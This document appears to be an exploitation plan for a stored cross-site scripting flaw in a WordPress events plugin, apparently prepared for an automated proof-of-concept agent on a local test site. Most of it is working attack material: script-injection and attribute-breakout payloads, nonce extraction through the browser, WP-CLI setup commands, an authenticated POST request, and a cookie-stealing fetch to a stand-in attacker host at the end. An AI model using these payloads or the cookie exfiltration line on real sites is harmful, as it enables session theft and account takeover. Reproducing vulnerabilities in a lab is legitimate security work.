Events Listing Widget <= 1.3.4 - Authenticated (Author+) Stored Cross-Site Scripting via Event URL Field

This research plan focuses on exploiting CVE-2026-1252, a Stored Cross-Site Scripting (XSS) vulnerability in the Events Listing Widget plugin.

1. Vulnerability Summary

The "Events Listing Widget" plugin allows users to manage and display events. Versions up to and including 1.3.4 fail to properly sanitize the Event URL parameter during storage and fail to escape it during output. An authenticated user with Author-level permissions or higher can inject malicious JavaScript into this field. When other users (including administrators) view the page where the event is listed, the script executes in their browser context.

2. Attack Vector Analysis

• Vulnerable Parameter: Event URL (likely mapped to a post meta field).
• Authentication Required: Author or higher (capability to edit/create event posts).
• Vulnerable Endpoint: Standard WordPress post/page editor or a custom plugin management page (/wp-admin/post.php or a custom admin menu).
• Payload Type:
  • URI-based: javascript:alert(document.domain)
  • Attribute breakout: " onmouseover="alert(1)" data-x="
• Preconditions: The plugin must be active, and a "Events Listing" widget or shortcode must be present on a public-facing page or post.

3. Code Flow (Inferred)

1. Input: An Author user submits an event update via POST /wp-admin/post.php (or similar).
2. Storage: The plugin captures the Event URL field and saves it using update_post_meta() or a direct $wpdb query without applying esc_url_raw() or sanitize_text_field().
3. Retrieval: When a frontend page is loaded, the plugin's widget class (likely extending WP_Widget) or shortcode handler calls get_post_meta() to retrieve the URL.
4. Output: The plugin echoes the URL directly into an <a> tag's href attribute:

   echo '<a href="' . $event_url . '">View Event</a>'; // VULNERABLE
   

   Lack of esc_url() or esc_attr() allows for XSS.

4. Nonce Acquisition Strategy

Since this vulnerability is tied to authenticated "Author" actions within the WordPress admin dashboard, we need to handle nonces associated with post editing.

1. Identification: Determine if the plugin uses a Custom Post Type (CPT) like event. Use wp post-type list via CLI.
2. Page Creation: Create a post/page and add the Events Listing widget to it so we have a frontend trigger.
   • wp post create --post_type=page --post_status=publish --post_title='Events Display' --post_content='[events-listing-widget]' (Exact shortcode name to be verified via grep -r "add_shortcode")
3. Nonce Extraction:
   • Navigate to the Event creation/edit page in the browser using an Author account.
   • Use browser_eval to extract the standard WordPress _wpnonce for post updates or any plugin-specific nonces found in the HTML source.
   • Common pattern: document.querySelector('#_wpnonce').value.

5. Exploitation Strategy

Step 1: Discover Post Type and Meta Keys
Search the plugin directory for the field identifier:

grep -rn "Event URL" /var/www/html/wp-content/plugins/events-listing-widget/

Identify the name attribute of the input field in the admin UI (e.g., events_url or meta_event_link).

Step 2: Inject Payload
Perform an authenticated POST request to update an event.

• URL: http://localhost:8080/wp-admin/post.php
• Method: POST
• Payload (Attribute Breakout): "><script>alert(document.cookie)</script>
• Parameters:
  • action: editpost
  • post_ID: [The ID of the event post]
  • _wpnonce: [Extracted nonce]
  • [vulnerable_field_name]: "><script>alert(document.domain)</script>

Step 3: Trigger Execution
Navigate to the frontend page where the widget/shortcode is rendered.

6. Test Data Setup

1. User: Create an Author user.
   • wp user create attacker attacker@example.com --role=author --user_pass=password123
2. Content: Create an "Event" if it's a CPT.
   • wp post create --post_type=event --post_status=publish --post_title='Malicious Event'
3. Display: Place the widget on a page.
   • If it's a widget, use wp widget add.
   • If it's a shortcode, create a page: wp post create --post_type=page --post_status=publish --post_content='[events_listing]'

7. Expected Results

• The POST request should return a 302 redirect, indicating the post was updated successfully.
• Upon visiting the frontend page, the browser should execute the injected script (e.g., displaying an alert box).
• Inspecting the HTML source of the frontend page should show the unescaped script tag:

  <a href=""><script>alert(document.domain)</script>">View Event</a>
  

8. Verification Steps

1. Check Database: Verify the payload is stored in the wp_postmeta table.

   wp db query "SELECT meta_value FROM wp_postmeta WHERE meta_key = '[vulnerable_field_name]' AND post_id = [ID]"
   

2. HTML Verification: Use http_request to fetch the frontend page and check for the raw payload in the response body.

   // In PoC agent
   const response = await http_request({ url: 'http://localhost:8080/events-page/' });
   if (response.body.includes('<script>alert(document.domain)</script>')) {
       console.log("XSS Verified");
   }
   

9. Alternative Approaches

• Action String Bypass: If the plugin uses a custom AJAX handler for saving widget data, check if check_ajax_referer is called with die=false. If so, the nonce can be omitted entirely.
• Shortcode Attribute XSS: If the Event URL can be passed as an attribute to a shortcode, attempt XSS via:
  [events_listing url='"><script>alert(1)</script>']
• Protocol-based Payload: If attribute breakout is blocked by generic WordPress filters, use the javascript: protocol:
  javascript:fetch('http://attacker.com/?c='+document.cookie) (Note: This requires the URL to be placed in an href or src).